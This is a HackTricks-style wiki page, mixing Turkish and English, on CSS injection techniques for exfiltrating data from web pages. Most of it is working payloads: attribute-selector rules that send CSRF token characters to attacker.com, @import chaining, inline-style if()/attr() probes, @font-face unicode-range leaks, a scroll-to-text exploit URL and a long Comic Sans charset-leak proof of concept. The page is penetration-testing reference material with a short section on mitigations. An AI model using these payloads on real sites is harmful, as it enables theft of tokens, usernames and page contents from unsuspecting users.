CSS Injection
Reading time: 23 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
CSS Injection
Attribute Selector
CSS seçicileri, bir input
öğesinin name
ve value
özniteliklerinin değerleriyle eşleşecek şekilde hazırlanır. Eğer input
öğesinin value
özniteliği belirli bir karakterle başlarsa, önceden tanımlanmış bir harici kaynak yüklenir:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
Ancak, bu yaklaşım gizli input öğeleri (type="hidden"
) ile uğraşırken bir sınırlamayla karşılaşır çünkü gizli öğeler arka planları yüklemez.
Bypass for Gizli Öğeler
Bu sınırlamayı aşmak için, ~
general sibling combinator kullanarak sonraki bir kardeş öğeyi hedefleyebilirsiniz. CSS kuralı daha sonra gizli input öğesini takip eden tüm kardeş öğelere uygulanır ve arka plan resminin yüklenmesine neden olur:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
A practical example of exploiting this technique is detailed in the provided code snippet. You can view it here.
CSS Injection için Önkoşullar
CSS Injection tekniğinin etkili olabilmesi için belirli koşulların karşılanması gerekir:
- Payload Length: CSS injection vektörünün, oluşturulan selectors'ları barındıracak kadar uzun payload'ları desteklemesi gerekir.
- CSS Re-evaluation: Sayfayı frame'leyebilme yeteneğiniz olmalıdır; bu, yeni oluşturulmuş payload'larla CSS'nin yeniden değerlendirilmesini tetiklemek için gereklidir.
- External Resources: Teknik, harici olarak barındırılan görüntüleri kullanabilme yeteneğini varsayar. Bu, sitenin Content Security Policy (CSP) tarafından kısıtlanmış olabilir.
Blind Attribute Selector
As explained in this post, it's possible to combine the selectors :has
and :not
to identify content even from blind elements. Bu, CSS injection'ı yükleyen web sayfasının içinde ne olduğunu bilmediğiniz durumlarda çok faydalıdır.
Ayrıca :has ve :not gibi selectors kullanılarak aynı türdeki birden fazla bloktan bilgi çıkarılabilir, örneğin:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
Bunu aşağıdaki @import tekniğiyle birleştirirseniz, blind sayfalardan CSS injection kullanarak çok fazla info ile blind-css-exfiltration.
@import
Önceki tekniğin bazı dezavantajları var, önkoşulları kontrol edin. Ya kurbana birden fazla link gönderebilme, ya da CSS injection zafiyetli sayfayı iframe edebilme yeteneğiniz olmalı.
Ancak, tekniğin kalitesini artırmak için CSS @import
kullanan başka bir zekice yöntem var.
Bu ilk olarak Pepe Vila tarafından gösterildi ve şöyle çalışıyor:
Her seferinde aynı sayfayı onlarca farklı payload ile tekrar tekrar yüklemek yerine (öncekinde olduğu gibi), sayfayı sadece bir kere yükleyip sadece attackers server'a bir import ile yüklüyoruz (bu, kurbana gönderilecek payload'tur):
@import url("//attacker.com:5001/start?");
- Import, saldırganlardan bazı CSS script'leri alacak ve tarayıcı bunları yükleyecek.
- Saldırganın göndereceği CSS script'in ilk kısmı başka bir
@import
ile tekrar saldırganın sunucusuna yönlendirecek. - Saldırganın sunucusu bu isteğe henüz yanıt vermeyecek; önce bazı karakterleri leak etmek ve sonra bu import'a sonraki karakterleri leak edecek yükle birlikte cevap vermek istiyoruz.
- Yüklemenin ikinci ve daha büyük kısmı bir attribute selector leakage payload olacak
- Bu, saldırganın sunucusuna sırrın ilk karakterini ve son karakterini gönderecek
- Saldırganın sunucusu sırrın ilk ve son karakterlerini aldıktan sonra, adım 2'de istenen import'a yanıt verecek.
- Yanıt, adımlar 2, 3 ve 4 ile tamamen aynı olacak; ancak bu sefer sırrın ikinci karakterini ve ardından sondan ikinciyi bulmaya çalışacak.
Saldırgan, sırrı tamamen leak edene kadar bu döngüyü takip edecek.
You can find the original Pepe Vila's code to exploit this here or you can find almost the same code but commented here.
tip
The script will try to discover 2 chars each time (from the beginning and from the end) because the attribute selector allows to do things like:
/* value^= to match the beggining of the value*/
input[value^="0"] {
--s0: url(http://localhost:5001/leak?pre=0);
}
/* value$= to match the ending of the value*/
input[value$="f"] {
--e0: url(http://localhost:5001/leak?post=f);
}
This allows the script to leak the secret faster.
warning
Bazen script, keşfedilen ön ek + son ek'in zaten tamamlanmış flag olduğunu doğru şekilde tespit edemeyebilir ve ileriye (ön ekte) ve geriye (son ekte) doğru devam eder ve bir noktada takılıp kalır.
Endişe etmeyin, sadece çıktı'yı kontrol edin çünkü flag'i orada görebilirsiniz.
Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
warning
Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
- Sink: bir elementin style attribute'unu kontrol edin ve hedef attribute'un aynı elementte olduğundan emin olun (attr() sadece aynı-element attribute'larını okur).
- Read: attribute'u bir CSS değişkenine kopyalayın:
--val: attr(title)
. - Decide: değişkeni string adaylarla karşılaştıran iç içe koşullarla bir URL seçin:
--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))
. - Exfiltrate: seçilen endpoint'e istek zorlamak için
background: image-set(var(--steal))
(veya herhangi bir fetching property) uygulayın.
Attempt (does not work; single quotes in comparison):
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
Çalışan payload (karşılaştırmada çift tırnak gereklidir):
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
İç içe koşullarla öznitelik değerlerini numaralandırma:
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
Gerçekçi demo (kullanıcı adlarını yoklama):
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
Notes and limitations:
- Araştırma sırasında Chromium-based tarayıcılarda çalışır; davranış diğer motorlarda farklı olabilir.
- Sınırlı/tanımlanabilir değer alanları için daha uygundur (IDs, flags, short usernames). Harici stylesheets olmadan rastgele uzun string'leri çalmak hâlâ zor.
- Bir URL çeken herhangi bir CSS özelliği isteği tetiklemek için kullanılabilir (ör. background/image-set, border-image, list-style, cursor, content).
Automation: a Burp Custom Action attribute değerlerini brute-force etmek için nested inline-style payloads üretebilir: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
Other selectors
DOM parçalarına CSS selectors ile erişmenin diğer yolları:
.class-to-search:nth-child(2)
: Bu, DOM'da "class-to-search" sınıfına sahip ikinci öğeyi arar.:empty
selector: Örneğin this writeup'de kullanılmıştır:
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
Error based XS-Search
Referans: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
Temel amaç, kontrol edilen bir uç noktadan özel bir font kullanmak ve belirtilen kaynağın (favicon.ico
) yüklenememesi durumunda metnin (bu durumda, 'A') yalnızca bu font ile görüntülenmesini sağlamak.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- Özel Yazı Tipi Kullanımı:
- Bir özel yazı tipi,
<head>
bölümündeki bir<style>
etiketi içinde@font-face
kuralı kullanılarak tanımlanır. - Yazı tipi
poc
olarak adlandırılır ve harici bir uç noktadan (http://attacker.com/?leak
) çekilir. unicode-range
özelliğiU+0041
olarak ayarlanmıştır; bu, belirli Unicode karakteri 'A'yı hedefler.
- Yedek Metinli Object Element:
<body>
bölümündeid="poc0"
olan bir<object>
elementi oluşturulur. Bu elementhttp://192.168.0.1/favicon.ico
kaynağını yüklemeye çalışır.- Bu element için
font-family
,<style>
bölümünde tanımlandığı gibi'poc'
olarak ayarlanır. - Kaynak (
favicon.ico
) yüklenemezse,<object>
etiketinin içindeki yedek içerik (harf 'A') görüntülenir. - Harici kaynak yüklenemezse yedek içerik ('A'), özel yazı tipi
poc
kullanılarak render edilir.
Scroll-to-Text Fragment'ın Stili
Belirtilen CSS Selectors Level 4 specification doğrultusunda, bir URL fragment tarafından hedeflenen elementi seçmek için :target
pseudo-class'ı kullanılır. Fragman tarafından metin açıkça hedeflenmedikçe ::target-text
hiçbir elementi eşlemez.
Saldırganların Scroll-to-text fragment özelliğini kötüye kullanması bir güvenlik endişesi doğurur; bu sayede HTML injection yoluyla kendi sunucularından bir kaynak yükleyerek bir web sayfasında belirli bir metnin varlığını doğrulayabilirler. Yöntem şu şekilde bir CSS kuralı enjekte etmeyi içerir:
:target::before {
content: url(target.png);
}
Böyle senaryolarda, sayfada "Administrator" metni bulunuyorsa, sunucudan target.png
kaynağı istenir ve bu metnin varlığını gösterir. Bu attack örneği, injected CSS'i Scroll-to-text fragment ile birlikte gömülmüş şekilde içeren özel hazırlanmış bir URL aracılığıyla gerçekleştirilebilir:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
Burada saldırı, HTML injection'ı manipüle ederek CSS kodunu iletmekte ve Scroll-to-text fragment (#:~:text=Administrator
) aracılığıyla "Administrator" adlı özel metni hedeflemektedir. Metin bulunursa, belirtilen kaynak yüklenir ve bu durum istemeden saldırgana varlığını bildirir.
Önlemler için aşağıdaki hususlara dikkat edilmelidir:
- Constrained STTF Matching: Scroll-to-text Fragment (STTF) sadece kelimeler veya cümlelerle eşleşecek şekilde tasarlanmıştır; bu da rastgele gizli bilgileri veya token'ları leak etme yeteneğini sınırlamaktadır.
- Restriction to Top-level Browsing Contexts: STTF yalnızca üst düzey tarama bağlamlarında çalışır ve iframes içinde işlev görmez; bu da herhangi bir istismar girişimini kullanıcı için daha fark edilir hale getirir.
- Necessity of User Activation: STTF'nin çalışması için bir user-activation gesture gereklidir; bu, istismarların yalnızca kullanıcı kaynaklı yönlendirmelerle mümkün olduğu anlamına gelir. Bu gereklilik, kullanıcı etkileşimi olmadan saldırıların otomatikleştirilmesi riskini önemli ölçüde azaltır. Yine de, blog yazısının yazarı, saldırının otomasyonunu kolaylaştırabilecek belirli koşullar ve bypasses (ör. social engineering, yaygın browser extensions ile etkileşim) olduğunu belirtir.
Bu mekanizmalar ve olası zayıflıklar hakkında farkındalık, web güvenliğini korumak ve bu tür istismarcı taktiklere karşı savunma sağlamak için anahtardır.
Detaylar için orijinal rapora bakın: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
Bu teknikle ilgili bir CTF exploit'ini burada inceleyebilirsiniz.
@font-face / unicode-range
Sayfada yalnızca o unicode değerleri mevcutsa alınacak şekilde, belirli unicode değerleri için harici fontlar belirtebilirsiniz. Örnek:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
Text node exfiltration (I): ligatures
Reference: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
Anlatılan teknik, font ligatures'ı kullanarak bir düğümden metin çıkarmayı ve genişlik değişikliklerini izlemeyi içerir. Süreç birkaç adım içerir:
- Creation of Custom Fonts:
- SVG fonts, iki karakter dizisini temsil eden bir glyph için büyük bir genişlik ayarlayan
horiz-adv-x
özniteliğine sahip glyph'lerle oluşturulur. - Örnek SVG glyph:
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
, burada "XY" iki karakterlik bir diziyi belirtir. - Bu fontlar daha sonra fontforge kullanılarak woff formatına dönüştürülür.
- Detection of Width Changes:
- CSS kullanılarak metnin satır kırmaması (
white-space: nowrap
) ve kaydırma çubuğu stilinin özelleştirilmesi sağlanır. - Özgün olarak stillendirilmiş bir yatay kaydırma çubuğunun görünmesi, belirli bir ligature'ın ve dolayısıyla belirli bir karakter dizisinin metinde bulunduğuna dair bir gösterge (oracle) işlevi görür.
- İlgili CSS:
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
- Exploit Process:
- Step 1: İki karakterlik çiftler için büyük genişlikli glyph'ler içeren fontlar oluşturulur.
- Step 2: Büyük genişlikli glyph'in (karakter çifti için ligature) render edildiğini tespit etmek için kaydırma çubuğu tabanlı bir hile kullanılır; bu, karakter dizisinin varlığını gösterir.
- Step 3: Bir ligature tespit edildiğinde, tespit edilen çifti içeren ve önüne veya arkasına bir karakter ekleyen üç karakterlik dizileri temsil eden yeni glyph'ler üretilir.
- Step 4: Üç karakterlik ligature'ın tespiti gerçekleştirilir.
- Step 5: Süreç tekrar edilir ve metin kademeli olarak ortaya çıkar.
- Optimization:
- Şu anki başlatma yöntemi olan
<meta refresh=...
optimal değil. - Daha verimli bir yaklaşım, exploit'in performansını artırabilecek CSS
@import
hilesini içerebilir.
Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)
Reference: PoC using Comic Sans by @Cgvwzq & @Terjanq
Bu hile, bu Slackers thread içinde yayınlandı. Bir metin düğümünde kullanılan charset, tarayıcıya yüklü varsayılan fontlar kullanılarak leak edilebilir: dışa -veya özel- fontlara gerek yoktur.
Kavram, bir div
'in genişliğini animasyonla kademeli olarak genişleterek her seferinde bir karakterin metnin 'suffix' bölümünden 'prefix' bölümüne geçmesini sağlamaya dayanır. Bu işlem metni iki bölüme ayırır:
- Prefix: İlk satır.
- Suffix: Sonraki satır(lar).
Karakterlerin geçiş aşamaları şu şekilde görünecektir:
C
ADB
CA
DB
CAD
B
CADB
Bu geçiş sırasında, öne katılan her yeni karakteri tespit etmek için unicode-range trick kullanılır. Bu, fontun Comic Sans'a geçirilmesiyle sağlanır; Comic Sans varsayılan fonttan belirgin şekilde daha yüksek olduğu için dikey bir kaydırma çubuğunu tetikler. Bu kaydırma çubuğunun görünmesi, öne yeni bir karakterin eklendiğini dolaylı olarak ortaya çıkarır.
Bu yöntem, benzersiz karakterlerin görünürken tespit edilmesini sağlar, ancak hangi karakterin tekrarlandığını belirlemez; yalnızca bir tekrarın gerçekleştiğini bildirir.
tip
Temelde, unicode-range is used to detect a char, ancak dış bir font yüklemek istemediğimiz için başka bir yol bulmamız gerekiyor.
Char bulunduğunda, önceden yüklü Comic Sans fontu verilir; bu, char'ı daha büyük yapar ve bir scroll bar'ı tetikler ve bu da bulunan char'ı leak eder.
Check the code extracted from the PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets)
Referans: Bu, an unsuccessful solution in this writeup olarak bahsedilmiştir.
Bu durum bir öncekine çok benziyor; ancak burada amaç belirli karakterleri diğerlerinden daha büyük yapmak suretiyle bir şeyi gizlemek — örneğin bir butonun bot tarafından tıklanmamasını sağlamak ya da bir resmin yüklenmemesini sağlamak. Böylece eylemi (veya eylemin yokluğunu) ölçüp belirli bir karakterin metin içinde olup olmadığını öğrenebiliriz.
Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)
Referans: Bu, an unsuccessful solution in this writeup olarak bahsedilmiştir.
Bu durumda, bir karakterin metinde olup olmadığını anlamak için aynı origin'den sahte bir font yükleyerek leak etmeyi deneyebiliriz:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
Eşleşme olursa, font /static/bootstrap.min.css?q=1
'den yüklenecek. Başarılı şekilde yüklenmese bile, tarayıcı bunu önbelleğe almalı, ve önbellek olmasa bile bir 304 not modified mekanizması vardır; bu yüzden yanıt diğer şeylere göre daha hızlı olmalıdır.
Ancak, önbellekli yanıt ile önbelleksiz yanıt arasındaki zaman farkı yeterince büyük değilse bu işe yaramaz. Örneğin, yazar şöyle demiş: "Test ettikten sonra ilk problemin hızın pek farklı olmaması olduğunu, ikinci problemin ise botun disk-cache-size=1
bayrağını kullanması olduğunu gördüm; bu gerçekten dikkatli düşünülmüş."
Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets)
Referans: Bu, an unsuccessful solution in this writeup olarak bahsediliyor
Bu durumda, bir eşleşme olduğunda CSS ile aynı origin'den yüzlerce sahte fonts yüklenmesini belirtebilirsiniz. Bu şekilde geçen süreyi ölçebilir ve bir karakterin görünüp görünmediğini şu gibi bir şeyle bulabilirsiniz:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
Ve botun kodu şöyle görünüyor:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
Yani, font eşleşmiyorsa bota erişirken yanıt süresinin yaklaşık 30 saniye olması beklenir. Ancak font eşleşmesi varsa fontu almak için birden fazla istek gönderileceğinden ağda sürekli bir aktivite olur. Bu nedenle stop condition'ın sağlanması ve yanıtın alınması daha uzun sürer. Dolayısıyla yanıt süresi, font eşleşmesi olup olmadığını belirlemek için bir gösterge olarak kullanılabilir.
Kaynaklar
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
- Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)
- InlineStyleAttributeStealer.bambda (Burp Custom Action)
- PoC page for inline-style exfiltration
- MDN: CSS if() conditional
- MDN: CSS attr() function
- MDN: image-set()
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.